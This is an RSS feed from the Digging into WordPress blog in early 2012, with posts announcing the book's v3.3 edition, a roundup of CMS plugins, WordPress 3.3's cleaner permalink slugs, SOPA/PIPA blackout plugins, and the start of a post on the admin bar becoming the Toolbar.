<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>
<channel>
	<title>Digging into WordPress</title>
	<atom:link href="http://digwp.com/articles/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 09 Feb 2012 19:03:45 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	
	<item>
		<title>Digging into WordPress v3.3 Update</title>
		<link>http://digwp.com/2012/02/digging-into-wordpress-v3-3/</link>
		<comments>http://digwp.com/2012/02/digging-into-wordpress-v3-3/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 17:31:10 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[3.3]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[updates]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5639</guid>

		<description><![CDATA[New version of Digging into WordPress now available! The DiW v3.3 update covers WordPress 3.3 &#38; 3.2, with fresh new sections and updated content throughout the book. Similar to the latest versions of WordPress, DiW 3.3 refreshes the look and feel of the book, with updated graphics and screenshots, streamlined content, and new bonus versions [...]]]></description>
	
		<content:encoded><![CDATA[<p>New version of <a href="http://digwp.com/book/">Digging into WordPress</a> now available! The <abbr title="Digging into WordPress">DiW</abbr> v3.3 update covers <strong>WordPress 3.3 &amp; 3.2</strong>, with fresh new sections and updated content throughout the book. Similar to the latest versions of WordPress, <abbr title="Digging into WordPress">DiW</abbr> 3.3 refreshes the look and feel of the book, with updated graphics and screenshots, streamlined content, and <strong>new bonus versions</strong> of the <abbr title="Portable Document Format">PDF</abbr>. As the <em>9th Edition</em> of the book, <a href="http://digwp.com/2012/02/digging-into-wordpress-v3-3/">Digging into WordPress 3.3</a> is more fluid, focused and current than ever. This is a <em>free update</em> to everyone who owns either version of the book.</p>
<p><span id="more-5639"></span></p>
<div class="diw-33-gallery"><img src="http://digwp.com/wp-content/uploads/2012/01/DiW-v3-3_01.jpg" alt="[ DiW 3.3 screenshot ]" /><img src="http://digwp.com/wp-content/uploads/2012/01/DiW-v3-3_02.jpg" alt="[ DiW 3.3 screenshot ]" /><img src="http://digwp.com/wp-content/uploads/2012/01/DiW-v3-3_03.jpg" alt="[ DiW 3.3 screenshot ]" /><img src="http://digwp.com/wp-content/uploads/2012/01/DiW-v3-3_04.jpg" alt="[ DiW 3.3 screenshot ]" /></div>
<p><small><em>Sample page views from <abbr title="Digging into WordPress">DiW</abbr> 3.3</em></small></p>
<h3>DiW 3.3 Features</h3>
<p>Here are some of the highlights for the <abbr title="Digging into WordPress">DiW</abbr> 3.3 update:</p>
<ul>
<li><strong>WordPress 3.2 &amp; 3.3</strong> &ndash; new chapter content covering the latest versions</li>
<li><strong>Refreshed graphics</strong> updated graphics and screenshots throughout the book&ndash; </li>
<li><strong>Restructured &amp; streamlined</strong> &ndash; updated content for better flow &amp; readability</li>
<li><strong>Hyperlinked chapters</strong> &ndash; all references to chapters &amp; sections now hyperlinked</li>
<li><strong>Meta information</strong> &ndash; added to PDF versions (full, wide, &amp; lite)</li>
<li><strong>Print &amp; PDF</strong> &ndash; available in PDF and print editions (soon!)</li>
<li><strong>Updated widescreen version</strong> &ndash; new <a href="http://digwp.com/2011/04/widescreen/">widescreen bonus version</a> for large screens</li>
<li><strong>New Lite version</strong> &ndash; BONUS &#8220;lite&#8221; version of the PDF that&#8217;s more portable (for mobile/tablet devices)</li>
</ul>
<p>Plus updated links, new popouts, plus tons of little tweaks and edits that synergize to improve overall quality and accuracy. The book reads, looks, and <em>flows</em> better than ever, giving you a richer, more rewarding WordPress experience. </p>
<p>For more details, <a href="http://digwp.com/book/errata/">visit the Errata &amp; Changelog page</a>. Current members can log in to the <a href="http://digwp.com/wp-admin/">Members Area</a> immediately to update the new version (for FREE). New to the book? <a href="http://digwp.com/book/">Learn more</a> and <a href="http://digwp.com/book/#diw-demo">check out a demo</a>.</p>
<h3>Get the PDF</h3>
<p>The <abbr title="Portable Document Format">PDF</abbr> version is <a href="http://digwp.com/book/" title="Digging into WordPress">available now</a>. For $27, you get <strong>over 400 pages of full-color WordPress action</strong>, plus free lifetime updates, exclusive themes, and everything else.</p>
<p><strong>Already bought the book?</strong> Awesome. To get the new version, <a href="http://digwp.com/wp-admin/" title="Customer Login">log into your account</a> at our new <a href="http://digwp.com/2010/11/new-updates-downloads-system/" title="New Updates/Downloads System">Members Area</a> and download <em>at your convenience</em>.</p>
<h3>Early-Bird Special</h3>
<p>This week you save <strong>$5 off</strong> the <abbr title="Portable Document Format">PDF</abbr> using this discount code: <strong>WordPress2012</strong></p>
<p>Just use that coupon during checkout to get Digging into WordPress <strong>v3.3</strong> + all the trimmings for only $22. Discount good thru until the end of this week.</p>
<h3>Printed Books</h3>
<p>The print version is on the way! Here&#8217;s what we know so far:</p>
<ul>
<li>Spiral-bound, full-color printing (416 pages + cover)</li>
<li>Each book includes a FREE copy of the PDF version</li>
<li>Each book includes our exclusive themes, free lifetime updates, and all extras</li>
<li>International shipping will be available for this edition</li>
</ul>
<p>We don&#8217;t have any specific numbers or dates at this point, but we&#8217;ll post an announcement here at <a href="http://digwp.com/" title="Digging into WordPress">DigWP.com</a> once specifics are available. We also have a <a href="http://digwp.com/2012/02/notification-list-3-3-printed-books/" title="Notification List for v3.3 Printed Books">notification list</a> to receive an email once the new printed books are available.</p>
<h3>New Korean Translation!</h3>
<p>After much hard work, the team over at <a href="http://www.webactually.com">Webactually</a> released a beautiful translated version of Digging into WordPress in the Korean language. They really did an excellent job putting everything together and customizing the experience for Korean readers. Here are some unofficial behind-the-scenes photos:</p>
<div class="diw-korean-gallery">
<a href="http://digwp.com/wp-content/uploads/2012/01/PC281841_.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC281841_-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a><a href="http://digwp.com/wp-content/uploads/2012/01/PC281845_.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC281845_-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a><a href="http://digwp.com/wp-content/uploads/2012/01/PC221776.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC221776-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a><a href="http://digwp.com/wp-content/uploads/2012/01/PC221762.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC221762-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a><a href="http://digwp.com/wp-content/uploads/2012/01/PC221764.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC221764-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a><a href="http://digwp.com/wp-content/uploads/2012/01/PC221770.jpg"><img src="http://digwp.com/wp-content/uploads/2012/01/PC221770-150x150.jpg" alt="Korean Edition of Digging into WordPress" width="150" height="150" /></a>
</div>
<p><small><em>Click images for full-size views</em></small></p>
<p>Huge thanks to everyone at Webactually for making it happen. If you speak Korean, you can Learn more <a href="http://www.facebook.com/webactually?sk=app_288406967861070">here</a>!</p>
<h3>Bonus Surprise!</h3>
<p>Leave a comment for a chance to win a <strong>free printed copy</strong> of Digging into WordPress! As soon as the new books are in, we&#8217;ll pick a winner and send an all-expense-paid 9th Edition (including all the extraz). Good luck! :)</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/02/digging-into-wordpress-v3-3/feed/</wfw:commentRss>
		<slash:comments>74</slash:comments>

	</item>
	
	<item>
		<title>Notification List for v3.3 Printed Books</title>
		<link>http://digwp.com/2012/02/notification-list-3-3-printed-books/</link>
		<comments>http://digwp.com/2012/02/notification-list-3-3-printed-books/#comments</comments>
		<pubDate>Wed, 01 Feb 2012 17:30:40 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[updates]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5687</guid>

		<description><![CDATA[Digging into WordPress v3.3 is now available, and more printed books are on the way. It can take some time for the books to be printed and delivered, so we&#8217;re setting up a notification list for people who want to know when the new books are back in stock. To get on the list, just [...]]]></description>
	
		<content:encoded><![CDATA[<p><a href="http://digwp.com/2012/02/digging-into-wordpress-v3-3/">Digging into WordPress v3.3 is now available</a>, and more <strong>printed books</strong> are on the way. It can take some time for the books to be printed and delivered, so we&#8217;re setting up a <strong>notification list</strong> for people who want to know when the new books are back in stock.</p>
<p><span id="more-5687"></span></p>
<p><strong>To get on the list</strong>, just <em>leave a comment on this post</em> and we&#8217;ll send you an email when the new v3.3 printed books are available for purchase.</p>
<p>For more info on the latest version, check out the <a href="http://digwp.com/2012/02/digging-into-wordpress-v3-3/">announcement post</a>.</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/02/notification-list-3-3-printed-books/feed/</wfw:commentRss>
		<slash:comments>102</slash:comments>

	</item>
	
	<item>
		<title>WordPress CMS Plugins</title>
		<link>http://digwp.com/2012/01/wordpress-cms-plugins/</link>
		<comments>http://digwp.com/2012/01/wordpress-cms-plugins/#comments</comments>
		<pubDate>Wed, 25 Jan 2012 17:59:05 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[SEO]]></category>
		<category><![CDATA[CMS]]></category>
		<category><![CDATA[plugin]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tools]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5607</guid>

		<description><![CDATA[To make room for new content for the DiW 3.3 update, we&#8217;re &#8220;excerpting&#8221; this section into its own blog post. Here you&#8217;ll find an extensive round-up of CMS plugins for WordPress. Includes CMS plugins for better admin functionality, user-role management, custom content display, e-commerce &#38; shopping carts, forums, newsletters, and more. Administration Tools These plugins [...]]]></description>
	
		<content:encoded><![CDATA[<p>To make room for new content for the <abbr title="Digging into WordPress">DiW</abbr> 3.3 update, we&#8217;re &#8220;excerpting&#8221; this section into its own blog post. Here you&#8217;ll find an extensive round-up of CMS plugins for WordPress. Includes CMS plugins for better admin functionality, user-role management, custom content display, e-commerce &amp; shopping carts, forums, newsletters, and more.</p>
<p><span id="more-5607"></span></p>
<h3>Administration Tools</h3>
<p>These plugins provide CMS-like functionality to the WordPress Admin area.</p>
<ul>
<li><a href="http://digwp.com/u/55">WP-CMS Post Control</a> &mdash; Provides complete control over the Write-Page and Write-Post areas of the WordPress Admin. Enables you to hide unwanted items, disable the Flash uploader, kill post revisions, and even add a personal message.</li>
<li><a href="http://digwp.com/u/56">WP-CMS</a> &mdash; Transforms the Admin area to focus more on page creation and less on post creation. Designed to simplify the whole process for your newbie clients. You can even disable the blog functionality entirely.</li>
<li><a href="http://digwp.com/u/57">Flutter</a> &mdash; Enables you to edit posts without leaving the post page and also provides custom write panels that enable further publishing functionality.</li>
<li><a href="http://digwp.com/u/58">Supple Forms</a> &mdash; Enables you to create custom write panels, as well as format and insert values into posts using shortcodes and snippets of HTML.</li>
<li><a href="http://digwp.com/u/59">Custom Write Panel</a> &mdash; Enables you to create additional write panels with customized input fields. Add textboxes, checkboxes, radio-buttons, dropdown menus, and more.</li>
<li><a href="http://digwp.com/u/79">Pods </a> &mdash; Comprehensive CMS functionality, enabling you to create, manage, and display custom content types. Features automatic pagination, public-form filtering, access control, menu editing, and more.</li>
</ul>
<h3>User Role Management</h3>
<ul>
<li><a href="http://digwp.com/u/145">Members</a> &mdash; Comprehensive user-, role-, and content-management plugin that was created to make WordPress a more powerful CMS. Provides more control over your blog with an extensive collection of component-based features.</li>
<li><a href="http://digwp.com/u/567">s2Member</a> &mdash; s2Member provides robust tools for setting up a PayPal-driven membership site, including secure members-only content with custom roles and capabilities.</li>
<li><a href="http://digwp.com/u/60">Role Scoper</a> &mdash; Provides you the ability to specify different permissions levels for different WordPress roles. Also provides options for implementing user groups.</li>
<li><a href="http://digwp.com/u/61">Disclose-Secret</a> &mdash; Enables you to hide specified posts from users unless they meet certain criteria.</li>
<li><a href="http://digwp.com/u/62">Page Restrict</a> &mdash; Enables you to restrict specified pages to logged-in users.</li>
</ul>
<h3>Ordering, Filtering, Limiting and Displaying Content</h3>
<ul>
<li><a href="http://digwp.com/u/65">AStickyPostOrderER</a> &mdash; Enables you to customize post-display order for category views, archive views, and even sitewide.</li>
<li><a href="http://digwp.com/u/66">Advanced Category Excluder</a> &mdash; Provides advanced content separation and category management for WordPress. Exclude any number of categories according to your needs. Also provides control over feeds and search results.</li>
<li><a href="http://digwp.com/u/519">Custom Post Limits</a> &mdash; Provides control over the number of posts that appear on the home page, in various archive views, and in search results.</li>
<li><a href="http://digwp.com/u/495">Custom Query String Reloaded</a> &mdash; Rework of the original plugin, CQS Reloaded controls the number of posts displayed on just about any type of page view, including archives, months, categories, home page, search, and many more. For more information on CQS Reloaded, check out the popout in section 5.1.4.</li>
</ul>
<h3>eCommerce and Shopping Carts</h3>
<ul>
<li><a href="http://digwp.com/u/69">eShop</a> &mdash; Provides shopping-cart functionality that includes customizable product listings, multiple product options, advanced payment options, basic statistics, and more.</li>
<li><a href="http://digwp.com/u/70">WP e-Commerce</a> &mdash; Provides an “elegant and easy to use fully featured shopping cart” that claims to be the “most complete and powerful Shopping Plugin you will find for WordPress.”</li>
<li><a href="http://digwp.com/u/71">YAK for WordPress</a> &mdash; Provides basic shopping-cart functionality that associates products with blog posts.
<li><a href="http://digwp.com/u/72">Quick Shop</a> &mdash; Adds a sidebar widget that displays cart contents to the user and enables easy item removal. Also enables you to easily add products to your posts and pages.</li>
<li><a href="http://digwp.com/u/598">Cart66 Lite</a> &mdash; Shopping cart plugin that enables you to sell digital and/or physical products with a host of useful options. Features include advanced shipping options, custom fields for products, customizable email receipts, Amazon S3 integration, and much more.</li>
</ul>
<h3>Email Mailing List and Newsletter Plugins</h3>
<ul>
<li><a href="http://digwp.com/u/74">WP-Campaign-Monitor</a> &mdash; Email newsletter and SMS functionality enabling users to send campaigns, track results, and manage subscribers. Even includes a plug-n-play sidebar widget.</li>
<li><a href="http://digwp.com/u/75">PHPList Form Integration</a> &mdash; Enables users to easily subscribe to your newsletter or RSS feed from any page on your blog. Designed to work with PHPList, an excellent open-source newsletter manager.
<li><a href="http://digwp.com/u/76">WordPress Double Opt-In Manager Widget</a> &mdash; Enables users to subscribe to your mailing list by way of a double opt-in method that includes the email form and a confirmation email.
<li><a href="http://digwp.com/u/466">MailChimp</a> &mdash; MailChimp is a third-party email newsletter sending service. They have an official plugin to help integrate with WordPress.</li>
</ul>
<h3>Miscellaneous CMS Plugins</h3>
<ul>
<li><a href="http://digwp.com/u/80">ProjectManager</a> &mdash; Manage any number of projects with recurrent datasets. Great for portrait systems, music and DVD collections, and just about anything else imaginable.</li>
<li><a href="http://digwp.com/u/81">WP-PostRatings</a> &mdash; Enables users to rate your post content. Highly customizable. One of the best.</li>
<li><a href="http://digwp.com/u/520">User Submitted Posts</a> &mdash; Enables visitors to submit posts and images from anywhere on your site. User-submitted posts optionally include tags, categories, post title, URL and more.</li>
</ul>
<h3>Using WordPress as a Forum</h3>
<p>Although forum functionality is not (yet) built into the WordPress core, implementing a forum on your site is easily accomplished with the help of these awesome plugins.</p>
<ul>
<li><a href="http://digwp.com/u/119">bbPress Forum</a> &mdash; bbPress is simple, fast, and elegant forum software from the same people who make WordPress. bbPress is focused on web standards, ease of use, ease of integration, and speed.</li>
<li><a href="http://digwp.com/u/521">Simple:Press Forum</a>, aka <em>Simple Forum</em> &mdash; A feature-rich forum plugin for WordPress that fully integrates into your WordPress-powered site. Fully customizable and includes plenty of skins and icons to get you started.</li>
</ul>
<h3>More Forum Plugins</h3>
<p>Here are two more useful forum plugins for WordPress, both include great features and look like great forum solutions.</p>
<ul>
<li><a href="http://digwp.com/u/472">Tal.ki Embeddable Forums</a></li>
<li><a href="http://digwp.com/u/473">Zingiri Forum</a></li>
</ul>
<h3>What else?</h3>
<p>Know of a sweet CMS-related plugin that needs mentioned? Shout it out in the comments to share with the community!</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/01/wordpress-cms-plugins/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>

	</item>
	
	<item>
		<title>Smarter Slugs ~!@$%^&amp;*()={}[]?</title>
		<link>http://digwp.com/2012/01/smarter-slugs/</link>
		<comments>http://digwp.com/2012/01/smarter-slugs/#comments</comments>
		<pubDate>Tue, 24 Jan 2012 19:39:26 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Admin]]></category>
		<category><![CDATA[permalink]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5620</guid>

		<description><![CDATA[See those crazy characters in the title of this post? Now see how they don&#8217;t appear in the post&#8217;s URL? That&#8217;s one of the finer details of the WordPress 3.3 update: smarter permalink slugs. So when you type something like you see in the title of this post, with all the funky characters, or even [...]]]></description>
	
		<content:encoded><![CDATA[<p>See those crazy characters in the title of this post? Now see how they <em>don&#8217;t</em> appear in the post&#8217;s URL? That&#8217;s one of the <em>finer details</em> of the WordPress 3.3 update: <strong>smarter permalink slugs</strong>.</p>
<p><span id="more-5620"></span></p>
<p>So when you type something like you see in the title of this post, with all the funky characters, or even just something like a comma, apostrophe, or semi-colon, WordPress 3.3+ works the magic and automatically creates your post slug without the junk. </p>
<h3>Details.</h3>
<p>It may not seem like a big deal, but previous versions of WordPress would include those funky characters when auto-creating your permalink slugs. If you glance at URLs while surfing around WordPress-powered sites, keep an eye on the URL in the address bar. It&#8217;s common to see all sorts of non-alphanumeric stuff in there.</p>
<p>Does it matter? I think so, for numerous reasons:</p>
<ul>
<li><strong>Readability, consistency</strong> &ndash; simple alphanumeric URLs work great everywhere, no need to clutter them up with redundant information. For example, funky characters can choke URL-shortening services. Also: fewer characters, facilitates better comprehension.</li>
<li><strong>Safer</strong> &ndash; certain characters such as <code>`</code>, <code>^</code>, <code>"</code>, <code>~</code>, <code>#</code>, <code>%</code>, <code>|</code>, <code>\</code>, <code>&lt;</code>, <code>&gt;</code>, <code>"</code>, <code>~</code>, <code>[</code>, <code>]</code>, <code>{</code>, <code>}</code>, and the blank space are considered as unsafe and should not be included in the URI (ie., always need encoded). Including them may seem to work, but you&#8217;re introducing sort of unknown variable into the mix, a potential vulnerability<a href="#ref" title="Jump to reference link">*</a></li>
<li><strong>SEO</strong> &mdash; do funky characters like blank spaces and percentage signs in the URL <em>hurt</em> your site&#8217;s SEO? Maybe not, but why put anything in there that <em>isn&#8217;t</em> a keyword?</li>
</ul>
<p>So smarter auto-slugs in WordPress 3.3, another one of the <em>finer details</em> that improves the overall WP post-editing experience, and something you may not have noticed.</p>
<h3>Bonus tip</h3>
<p>Another sort of related &ldquo;smarter-slugs&rdquo; feature noticed while looking into it, is the automatic removal of the &ldquo;-2&rdquo; that WordPress automatically appends to the post slug when a duplicate is detected. So for example, say you&#8217;re working on a new post:</p>
<ol>
<li>Create a post with a slug such as &ldquo;<code>test-post</code>&rdquo;</li>
<li>Delete the post and send to the Trash</li>
<li>Create another post with the same &ldquo;<code>test-post</code>&rdquo; slug</li>
<li>WordPress detects the duplicate post in the database and appends a &ldquo;-2&rdquo;, like so: <code>test-post-2</code> to the post slug</li>
<li>Create yet another post with the same slug and WordPress will append a &ldquo;-3&rdquo;, and so on..</li>
</ol>
<p>Nobody likes the &ldquo;dash-twos&rdquo; but they are required for the auto-creation of non-duplicate post slugs. What I just noticed with version 3.3 is that, once you empty the Trash, <strong>WordPress automagically removes the &ldquo;-2&rdquo; from the post slug</strong>, improving workflow to save you time. This may have changed in a previous version and I just hadn&#8217;t noticed, or it&#8217;s another one of the <em>administrative refinements</em> of WordPress 3.3.</p>
<p><strong>Update:</strong> it looks like the -2 removal only applies to <strong>drafts</strong> and <strong>pending</strong> posts, not to posts that have already been published.. (see <a href="#comment-32497">comment from Otto</a>)</p>
<p id="ref"><strong>*</strong> More info on <a href="http://perishablepress.com/press/2009/03/08/building-the-perishable-press-4g-blacklist/" title="Building the Perishable Press 4G Blacklist">forbidden characters and blocking them</a></p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/01/smarter-slugs/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>

	</item>
	
	<item>
		<title>Plugins for SOPA/PIPA Blackout</title>
		<link>http://digwp.com/2012/01/plugins-for-sopa-pipa-blackout/</link>
		<comments>http://digwp.com/2012/01/plugins-for-sopa-pipa-blackout/#comments</comments>
		<pubDate>Wed, 18 Jan 2012 20:53:25 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[plugins]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5625</guid>

		<description><![CDATA[Get involved! Here is a list of stop-SOPA/PIPA plugins to help blackout your WordPress-powered site: SOPA Blackout Plugin &#8220;This plugin allows you to set SOPA blackout dates for your WordPress website, as well as a variety of options on who the anti-SOPA is shown too. You can have it shown instead of your site for [...]]]></description>
	
		<content:encoded><![CDATA[<p>Get involved! Here is a list of stop-SOPA/PIPA plugins to help blackout your WordPress-powered site:</p>
<p><span id="more-5625"></span></p>
<h3><a href="http://wordpress.org/extend/plugins/sopa-blackout-plugin/">SOPA Blackout Plugin</a></h3>
<p>&#8220;This plugin allows you to set SOPA blackout dates for your WordPress website, as well as a variety of options on who the anti-SOPA is shown too. You can have it shown instead of your site for any visitor, you can only show it the first time then let your visitors continue to the site, plus a lot more. This plugin is SEO friendly with temporary redirects being used.&#8221;</p>
<p><small>@ 8,516 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/sopa-strike/">SOPA Strike</a></h3>
<p>&#8220;SOPA Strike will automatically redirect all users of your blog to the http://sopastrike.com homepage on Wednesday, January 18th. It automatically adds your blog name and URL to a list of protestors which will be featured on the website.&#8221;</p>
<p><small>@ 7,425 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/sopa-blackout/">SOPA Blackout</a></h3>
<p>&#8220;On the Tuesday 24th January 2012, the US Senate will vote on the internet censorship bill.<br />
Whilst it is an American law, it has far reaching repurcusions for the web as a whole. Sites such as Reddit have said that on January 18th they are going to go dark between 8am and 8pm. This plugin will let you join the cause. On 18th January your site will display a customisable page. Search engine rankings will not be affected as the plugin sends a 503 status.&#8221;</p>
<p><small>@ 5,175 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/stop-sopa-ribbon/">Stop SOPA Ribbon</a></h3>
<p>&#8220;A black ribbon with the words &#8220;Stop SOPA&#8221; will be put on in the top right corner of your website, linking to the American Censorship website. Look at the screenshots to see how the ribbon looks. Check out the Help Stop SOPA/PIPA entry in the WordPress news too. Thank you for showing your support!&#8221;</p>
<p><small>@ 4,491 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/go-dark/">Go Dark</a></h3>
<p>&#8220;This plugin enables websites to &#8216;go dark&#8217; on January 18th with a customizable message and start/end times to protest SOPA/PIPA and Internet Censorship. It enables you to customize the message displayed on the front end, and optionally display either a stylized &#8216;Censored&#8217; sign or seal. When &#8216;dark&#8217; your website will return a 503 Service Temporarily Unavailable status code so as to not damage your search engine rankings, as well as specify the length of time for the visitor to try back after.&#8221;</p>
<p><small>@ 3,338 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/sopa-blackout-plugin-for-wordpress/">SOPA Blackout for WordPress</a></h3>
<p>&#8220;The SOPA Blackout for WordPress plugin allows you to easily show your support on SOPA Blackout Day on your blog. Inserts the SOPA Blackout JavaScript file to your blog on SOPA Blackout day.&#8221;</p>
<p><small>@ 2,656 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/simple-sopa-blackout/">Simple Stop Sopa</a></h3>
<p>&#8220;This Plugin will censor your site on January 18th between 8am and 8pm local time in protest of SOPA and PIPA. It has no admin settings and is super easy to use.&#8221;</p>
<p><small>@ 1,868 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/stop-sopa-widget/">Stop SOPA Widget</a></h3>
<p>&#8220;Defaults to show the Stop SOPA message on January 18th from 8am-8pm EST (1300-0100 UTC). Uses cookies so the message is only shown once Loaded asynchronously (won&#8217;t block the rendering of your page or cause another point of failure). You can manually trigger the modal before the 18th by adding the hash #stopsopa to the end of any URL on your site. Works across browsers (tested on everything from IE6 to iphone). Our hosted version is served from a CDN for speed/global delivery. Supports SSL. Hackable! Feel free to modify and update however you&#8217;d like.&#8221;</p>
<p><small>@ 1,606 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/stop-sopa/">Stop SOPA</a></h3>
<p>&#8220;The plugin adds small protest box to your website. By default it&#8217;s collapsed, but once clicked, the Stop SOPA box appears. On settings page you can specify the position of the protest box: either at the right bottom corner or at the middle right edge. You also can turn on/off &#8220;Blackout Day&#8221; option. In this case website will show black screen (click demo link below to view the screenshot) and return 503 status (no problems with search engines) on 18th January 2012, 8:00AM &#8211; 8:00PM (server time). By placing this box on our WordPress websites we are protesting against of SOPA.&#8221;</p>
<p><small>@ 1,321 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/censor-me/">CENSOR ME</a></h3>
<p>&#8220;This plugin is essentially an &#8220;off switch&#8221; for your website. When activated, the site is mostly blacked out by a banner for the americancensorship.org website. As the admin bar is left uncovered, all that is needed to reverse this is deactivating the plugin. Join many other WordPress sites in protesting censorship legislation being considered by the US Congress!&#8221;</p>
<p><small>@ 440 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/stop-sopa-by-zachary/">Stop SOPA by Zachary</a></h3>
<p>&#8220;The site will look dark and will have just one spot of light. This spot of light will move with the mouse cursor, and the message will revealed.&#8221;</p>
<p><small>@ 29 downloads</small></p>
<h3><a href="http://wordpress.org/extend/plugins/stop-sopa-and-pipa-plugin/">Stop SOPA and PIPA Plugin</a></h3>
<p>&#8220;an SEO Company developed this plugin which will schedule a temporary redirect for all your incoming WordPress blog traffic to the official Stop SOPA page, where people can cast their vote- Congress is about to pass internet censorship, even though the vast majority of Americans are opposed. We need to kill the bill &#8211; PIPA in the Senate and SOPA in the House &#8211; to protect our rights to free speech, privacy, and prosperity.&#8221;</p>
<p><small>@ 19 downloads</small></p>
<h3>More info..</h3>
<p>..is popping up everywhere! The Google Homepage is a great place to start, plus here are a couple of other resources:</p>
<ul>
<li><a href="http://sopablackout.org/">http://sopablackout.org/</a></li>
<li><a href="http://americancensorship.org/">http://americancensorship.org/</a></li>
<li><a href="http://wordpress.org/news/2012/01/help-stop-sopa-pipa/">http://wordpress.org/news/2012/01/help-stop-sopa-pipa/</a>
</ul>
<p>May the force be with us!</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/01/plugins-for-sopa-pipa-blackout/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>

	</item>
	
	<item>
		<title>Goodbye Admin Bar, Hello Toolbar</title>
		<link>http://digwp.com/2012/01/goodbye-admin-bar-hello-toolbar/</link>
		<comments>http://digwp.com/2012/01/goodbye-admin-bar-hello-toolbar/#comments</comments>
		<pubDate>Fri, 13 Jan 2012 21:24:40 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Admin]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[admin-bar]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5574</guid>

		<description><![CDATA[When the Admin Bar hit the streets in WordPress 3.1, people seemed to either love it or hate it. And rightly so, it was a significant change in the appearance of the WP Admin area, and if not disabled in your User Profile, the front-end of your site as well. Many tips, tricks and plugins [...]]]></description>
	
		<content:encoded><![CDATA[<p>When the Admin Bar hit the streets in WordPress 3.1, people seemed to <a title="Poll: Love or Hate the WordPress Admin Bar" href="http://digwp.com/2011/04/poll-love-hate-admin-bar/">either love it or hate it</a>. And rightly so, it was a significant change in the appearance of the WP Admin area, and if not disabled in your <em>User Profile</em>, the front-end of your site as well. Many <a title="Admin Bar Tricks" href="http://digwp.com/2011/04/admin-bar-tricks/">tips, tricks and plugins for customizing the Admin Bar</a> began appearing around the Web. And then just as the dust began to settle, BAM — the &#8220;Admin Bar&#8221; transforms into the &#8220;Toolbar&#8221; with the <a href="http://wordpress.org/news/2011/12/sonny/">WordPress 3.3 update</a>.</p>
<p><span id="more-5574"></span></p>
<p>The WordPress 3.3 update focused heavily on streamlining and optimizing the Admin experience. The Admin Bar of WP 3.1 was intended as the &#8220;first step toward a front-end editor&#8221;. The original Admin Bar was debated for several good reasons:</p>
<ul>
<li>It&#8217;s enabled on the front-end by default</li>
<li>Gobbles up too much vertical screen space</li>
<li>It&#8217;s redundant, all links available elsewhere</li>
<li>It&#8217;s not visually appealing in general</li>
</ul>
